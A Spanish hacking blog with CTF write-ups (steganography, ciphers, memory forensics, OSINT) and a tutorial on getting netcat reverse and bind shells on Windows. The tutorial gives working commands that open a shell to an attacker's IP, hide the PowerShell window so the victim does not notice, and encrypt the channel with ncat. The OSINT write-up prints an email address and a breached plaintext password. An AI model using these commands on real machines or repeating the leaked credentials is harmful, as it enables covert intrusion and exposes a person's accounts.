viernes, 7 de diciembre de 2018

Writeup - UAM - 20º aniversario


UAM (Una al Mes) o mejor dicho, UAD (Una al Día) nos proponen un reto por su 20º aniversario, donde nos ofrecen la oportunidad de ganar una camiseta tan "chula" como esta:


Eso sí, tendremos que ser entre los diez primeros en resolver el reto.

Manos a la obra

Nos descargamos la imagen de la noticia y la analizamos con exiftool (pura rutina xD)


Nada fuera de lo normal, le pasamos con Stegsolve e ImgStego y mas de lo mismo, sin ninguna pista.

Llega el turno a LSB-Stego, en el que obtenemos el siguiente string:


Por fin hemos encontrado algo! (ya se ve la camiseta, de lejos, pero se ve :P)

Procedemos a descifrar el texto, por la pista que nos han dado los chic@s de UAM/UAD "Mucha Vig.Bas.Rot a todos"

Tras consultar con la almohada, pienso que las siglas VBR corresponden a tres tipos diferentes de cifrado: Vigenère, Base64 y ROT

Primer cifrado: Vigenère + UAD (Una Al Día) que será nuestra password.



Segundo cifrado: Base64


Tercer cifrado: ROT



Ahí tenemos la flag "UAD{20_4nY0s_n0_s3_Cumpl3N_t0D0s_l0s_d1as}" y por supuesto, la camiseta!


¡Y es que no hay nada mas bonito que la sonrisa de un niño!

Gracias al equipo de @hispasec y @unaaldia por el evento, muchísimas felicidades por esos 20 años y que cumpláis muchos mas!!

miércoles, 7 de noviembre de 2018

Writeup - CTF HackMadrid - Termina la investigación - OSINT


Nos encontramos con un reto de OSINT (Open Source Intelligence) en el que tenemos que terminar la investigación de un detective que ha desaparecido.

Para ello contamos con:
- Una máquina virtual con la distro OSINTUX (os recomiendo que le peguéis un vistazo, está muy completa) que contiene la investigación del detective desaparecido. (Enlace de MEGA)
- Y un par de pistas (hints) "M.I.7" y ". > -". (Si, yo también puse esa misma cara cuando las vi jejeje).

Manos a la obra

Descargamos el OVA de OSINTUX y ejecutamos Virtualbox para entrar al sistema. Dentro de OSINTUX buscamos en documentos y encontramos un archivo llamado "investigación.txt".


Investigación
############
- Dirección de su hermano: Alte Hägglingerstrasse
- Su nombre: Derek
- Les gusta el 7

Con dichos datos ya podemos empezar nuestra investigación.

Lo primero que hice, fue buscar un listado de las personas que viven en esa calle y encontré esta página web (muy interesante por cierto) realizando una búsqueda en Google de la calle.


Si revisamos la lista de la gente que vive en la calle, nos llama la atención la primera de las pistas "M.I." que huele a iniciales de una persona.

Seguimos revisando la lista y tropezamos con esta persona:


Al principio no le hice mucho caso, ya que buscamos las iniciales "M.I", pero me dí cuenta que la web listaba a los vecinos por "Apellido Nombre". Fue entonces cuando vi un pequeño "rayito de luz" en este caso.

Tras hacerle clic encima del nombre, la misma plataforma nos ofrece enlaces a redes sociales.


Ahí tenemos los dos resultados en Facebook:


El primero es el hermano de Derek y el segundo es el Padre de Derek. Elegimos la 2ª opción, accedemos a su perfil y hacemos clic en "Amigos" y encontramos a un perfil que encaja con nuestro sospechoso:


La 2ª parte de la pista ("7") y llegado a este punto, veo que no voy mal encaminado en la investigación, detectamos que efectivamente Derek Isler James y Marc Isler James comparten el número 7 en el username de facebook.



El siguiente paso será averiguar el correo electrónico de Derek para posteriormente, buscar la contraseña en algún leak.

Si intentáramos averiguar el correo usando el "recuperar contraseña" de Facebook, este nos mostraría sólo parte del correo, por lo tanto no nos sirve.

Por lo que mi cabeza me decía que la pista del "7" se le debe de poder sacar mas "chicha". Probé usar el username de Derek (recordemos "derek.isler.7") en Google, pero no aparecía ningún resultado que me sirviera. 

Tras ir probando con varios buscadores (Google, Bing, DuckDuckGo....), me paré a pensar que tal vez sería interesante pensar en que sitio podría encontrar un "leak" sobre passwords dumpeadas, y me vino a la cabeza los "Rusos" :P, directamente abrí Yandex y usé este dock "derek.isler.7 email".


Justamente era el primer resultado, donde ya nos dice el email "eckoderek@hotmail.com"

Nuevamente hacemos otra búsqueda pero con este dork "eckoderek@hotmail.com".


Yeah! Tenemos la contraseña "verma123", aparece en un leak de una base de datos de 81 millones de cuentas (casi nada :P).

Ya sólo nos queda pasar "verma123" a MD5. 

La flag HM{b90be2e2e970493b02a4cc2dd59bda2b} y damos por superado este gran reto de OSINT.



Agradecer a @PDParla y los organizadores de @HackMadrid por el evento y por hacernos disfrutar a todos con este #CTF.


Caso cerrado, como diría el gran John "Hannibal" Smith (Team A)...."Me encanta que los planes salgan bien" ("purito" incluido, por supuesto).



Hasta otra hackers!!!

PD: Aún estoy dándole vueltas a la pista ". > -" :P

viernes, 26 de octubre de 2018

WRITEUP SILICON VALLEY UAM - EPISODIO 2


Los de UAM (Una al mes) vuelven hacer de las suyas y nos traen un nuevo reto donde tendremos que sacar la "flag" del archivo flag.txt, este se encuentra comprimido y protegido por una contraseña.


Manos a la obra

Descargamos el archivo pied_piper_bak.zip desde cualquier enlace expuesto en el reto (yo elegí MEGA) y descomprimimos el fichero, obteniendo un archivo .raw.

Abrimos volatility y escaneamos la lista de archivos, tras buscar en la larga lista, encontramos un archivo bastante "sospechoso".


Recuperamos el archivo:


Sacamos los strings del archivo:


Tenemos una base de datos de sqlite (también se podría sacar usando sqlite, pero con strings adelantamos :P)

Tenemos varios usuarios en la tabla, pero nos llamada la atención ese "true_god" (recordemos el enunciado del reto "la clave VERDADERA ...... gracias a DIOS tiene....". Está claro que por aquí van los tiros.

Tras buscar en Google con varias cadenas del texto cifrado y mucha, mucha, mucha y digo mucha paciencia encontramos esto.

No hay duda, el texto está cifrado en "Bacon", pasamos a descifrarlo con esta tool:


La password del archivo es: REMAZOABACONIAN y pasamos a descomprimir el archivo:


Parece que ya tenemos el reto resuelto, vayamos hacer un cat para leer el archivo "flag.txt".


En la frente! El archivo flag.txt está cifrado (recordemos el enunciado, tiene dos cifrados), hacemos un "cat" al LEEME y nos da un enlace a Youtube y nos suelta una pista "La clave final de todo está en el corazón de Telegram, en sus comienzos...."

Abrimos el vídeo de Youtube y nos encontramos con el siguiente título "USA for Africa - We Are The World - 1985", tenemos un cifrado, por lo que nuevamente voy probando cadenas jugando con los números y la palabra "decode" hasta encontrar esta pista.

Abrimos el primer enlace (lo siento, soy muy de dcode.fr, que se le va hacer) y pegamos el texto cifrado.


Esto no se acaba! Pero nos aparece otro cifrado de lo que parece hexadecimal y un texto que nos da esperanzas para no tirarnos por la ventana "Vas bien, ya te queda menos".



La cadena sigue "casi" ilegible, pero nos da una pista de que por los patrones podría ser XOR, pero nos hace falta una clave para descifrarla.


La otra pista que nos quedaba era "La clave final de todo está en el corazón de Telegram, en sus comienzos...." clave final...., telegram...comienzos... Vamos a sacar un log del canal de Telegram de UAM.


Tras sacar el historial en formato HTML, vemos que no hay ninguna palabra o password, pero las palabras "claves" y "comienzo" suena a que sea una cifra, como por ejemplo la fecha:


Ponemos la cifra "14122017" como clave y....Si!


Obtenemos la flag, la introducimos y por fin damos por finalizado el reto.


Dar la enhorabuena a los chicos de UAM por los retos tan currados, espero impaciente otro reto. GRACIAS!

martes, 25 de septiembre de 2018

Usando netcat para obtener una shell

Hay ocasiones en las que, por el antivirus o por la limitación que sea, nos vemos obligados a usar netcat para obtener una shell en el equipo de la víctima. Hoy explicaré cuales son los tipos de shell y como podemos hacer para obtener una en cualquier equipo en cuestión de segundos si tenemos acceso físico al dispositivo desbloqueado.

Explicación de los tipos de Shell

Reverse Shell

Este tipo de Shell quizás es el más adecuado en entornos corporativos o que haya algún firewall en la red. Consiste en que el atacante se ponga a escuchar en algún puerto en su máquina y la víctima se conecta a él.

Bind Shell

Este tipo de Shell se suele usar más cuando se compromete un equipo en la misma red. Es lo contrario a la anterior. En esta la víctima se pone a escuchar en un puerto y es el atacante quien se conecta.

Ejemplo práctico

Entorno

Para realizar estas pruebas usaré dos máquinas virtuales. Un Windows 7 y la otra Kali Linux 2018.1 aunque la versión no debería afectar para nada.

En Kali ya está instalado por defecto netcat pero en Windows no, por lo que tenemos que descargarlo. Lo podemos hacer desde aquí https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip.

Reverse Shell

Para esto, usaremos la máquina Kali como atacante. Lo primero que vamos a hacer es usar netcat para escuchar en un puerto. Esto se hace con el siguiente comando:


nc -lvp 1337

Sustituyendo 1337 por el puerto que queramos. Lo podemos poner por ejemplo en el 80 para no levantar sospechas o evitar cualquier problema con el firewall.

Ahora lo siguiente será escribir el siguiente comando en el cmd de Windows.


RUTA_EJECUTABLE_NETCAT -nv IP_ATACANTE PUERTO -e cmd.exe


Y una vez le demos, en nuestra máquina Kali tendremos una Shell en la máquina Windows.



Bind Shell

Ahora sería al contrario que el caso anterior, vamos a poner a la máquina Windows a escuchar y nos conectaremos desde Kali.

Para ello tenemos que escribir el siguiente comando en el cmd:


RUTA_EJECUTABLE_NETCAT -lvp PUERTO -e cmd.exe


Ahora lo que tendríamos que hacer es conectarnos desde la otra máquina con el siguiente comando:
nc -nv IP_VICTIMA PUERTO


Y ahora ya tendríamos de nuevo una Shell en el equipo Windows.


Escondiendo la Shell

Ahora ya sabemos cómo tener una Shell en cualquier equipo, pero hay un gran problema, la consola se ve demasiado. Esto hay una forma de solucionarlo muy sencilla. Lo que tenemos que hacer es cambiar la forma en la que ejecutamos netcat. Para ejecutarlo de forma oculta tenemos que darle a la combinación de teclas Windows + R y escribimos el comando de la siguiente forma:


powershell -W Hidden RUTA_NETCAT -nv IP_ATACANTE PUERTO -e powershell.exe
Ahora en vez de ejecutarlo en el cmd vamos a ejecutarlo en un powershell, aunque si queremos podemos ejecutar la otra consola si queremos. El comando lo que haría sería ejecutar el powershell oculto. La clave está en el parámetro -W (-WindowStyle) que lo que hacemos es decirle que el estilo de la ventana sea oculto.

Por ejemplo, para una reverse Shell, una vez puesto la máquina del atacante a escuchar, lo que haríamos sería escribir el siguiente comando:


powershell -W Hidden "C:\Users\usuario\Desktop\nc.exe" -nv 192.168.217.129 1337 -e powershell.exe

Una vez ejecutemos el comando ya tendríamos una Shell en el equipo de la victima y ésta no se daría ni cuenta. Lo único que se vería, aparte de la conexión, es el proceso de netcat, pero esto un usuario normal no suele mirarlo.


Y entonces, ahora ya tendríamos una Shell en el equipo de la víctima.

Haciendo la conexión segura

Ahora, una vez visto los tipos de Shell y como ocultarla, al menos, a simple vista, vamos a llevarlo un paso más allá y vamos a cifrar la comunicación entre la víctima y el atacante.

Para ello vamos a usar ncat, que es la versión de netcat mejorada por el proyecto Nmap. Para descargarlo, podemos hacerlo en la web oficial de nmap ( https://nmap.org/ncat/ ).

Ahora para ver este ejemplo, primero vamos a poner wireshark a esnifar paquetes para comprobar como la comunicación está cifrada realmente.


Para este ejemplo, vamos a hacer una bind Shell, por lo que nos vamos a nuestra máquina Windows y la ponemos a escuchar con el siguiente comando:


RUTA_NCAT --allow IP_ATACANTE  -lvp PUERTO --exec cmd.exe --ssl

Y ahora desde la máquina Kali tenemos que poner el siguiente comando:


ncat -v IP_VICTIMA PUERTO --ssl

Y como vemos ahora en la captura de Wireshark, la conexión entre la víctima y el atacante, está cifrada.


Y esto es todo, espero que os haya gustado el artículo. Si tenéis cualquier duda podéis dejadlo en los comentarios o decírmelo por twiter (@RaSr98).

¡Un saludo!